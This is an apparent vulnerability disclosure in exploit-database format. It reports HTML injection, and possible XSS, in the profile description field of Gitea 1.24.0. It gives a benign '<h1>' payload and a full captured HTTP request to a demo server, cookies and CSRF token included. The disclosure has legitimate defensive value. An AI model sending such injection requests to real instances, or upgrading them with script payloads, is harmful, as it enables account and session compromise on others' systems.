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# Exploit Title: Gitea 1.24.0 - HTML Injection # Date: 2025-03-09 # Exploit Author: Mikail KOCADAĞ # Vendor Homepage: https://gitea.com # Software Link: https://dl.gitea.io/gitea/1.24.0/ # Version: 1.24.0 # Tested on: Windows 10, Linux Ubuntu 22.04 # CVE : N/A ## Vulnerability Description: In Gitea 1.24.0, the "description" parameter on the user settings page is vulnerable to HTML Injection and potentially Reflected XSS. The user-supplied HTML content is not properly sanitized, allowing it to be executed in the browser. When a user saves their profile description containing malicious HTML or JavaScript code, the payload successfully executes, confirming the vulnerability. ## Exploit PoC: [https://lh7-rt.googleusercontent.com/docsz/AD_4nXeh7FQb3EdM3-fPqRLqZ4Oh5JlVQdHjhBHEtPL5U9mEtTeWwiMdfx1SpyYC-Kg7EiWCy-Mpay8ZKz6WDw5hCYLrbCrAN2Dlg5xAnNIMuL9ui8ZNjH9GzD_rwdtjbGRkyoTP-uAd?key=pDzgPVQKg3NL0T6shAZ0U6Xz][https://lh7-rt.googleusercontent.com/docsz/AD_4nXc-OZUDyqxfXQV92GwjmahRYFv7BzYhJ5lG2F6slXNyRVRcgyB2yNbK_NMkFkWbU6IggK4xOkUDP5aukMiEjFS18zIc3DDUR7M0wivQMF2aWRt91yx_ayb7AB556Uot1LVUaa1z8w?key=pDzgPVQKg3NL0T6shAZ0U6Xz] ## Paload:<h1>deneme</h1> ### **1. Request:** POST /user/settings HTTP/2 Host: demo.gitea.com Cookie: _gid=GA1.2.1249205656.1740139988; _ga=GA1.2.291185928.1740139987; i_like_gitea=d9da795e317a0ced; lang=tr-TR; _ga_WBKVZF2YXD=GS1.1.1740139987.1.1.1740140041.6.0.0; _csrf=f9ITrnNQIzvSX-yvHX64qhoc_8w6MTc0MDE0MDY0MDQ2MTE0MDgyMQ Content-Length: 312 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Language: tr-TR,tr;q=0.9 Origin: null Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u=0, i _csrf=f9ITrnNQIzvSX-yvHX64qhoc_8w6MTc0MDE0MDY0MDQ2MTE0MDgyMQ &full_name=Abuzettin &description=%3Ch1%3Edeneme%3C%2Fh1%3E &website= &location= &visibility=0 &keep_email_private=on |
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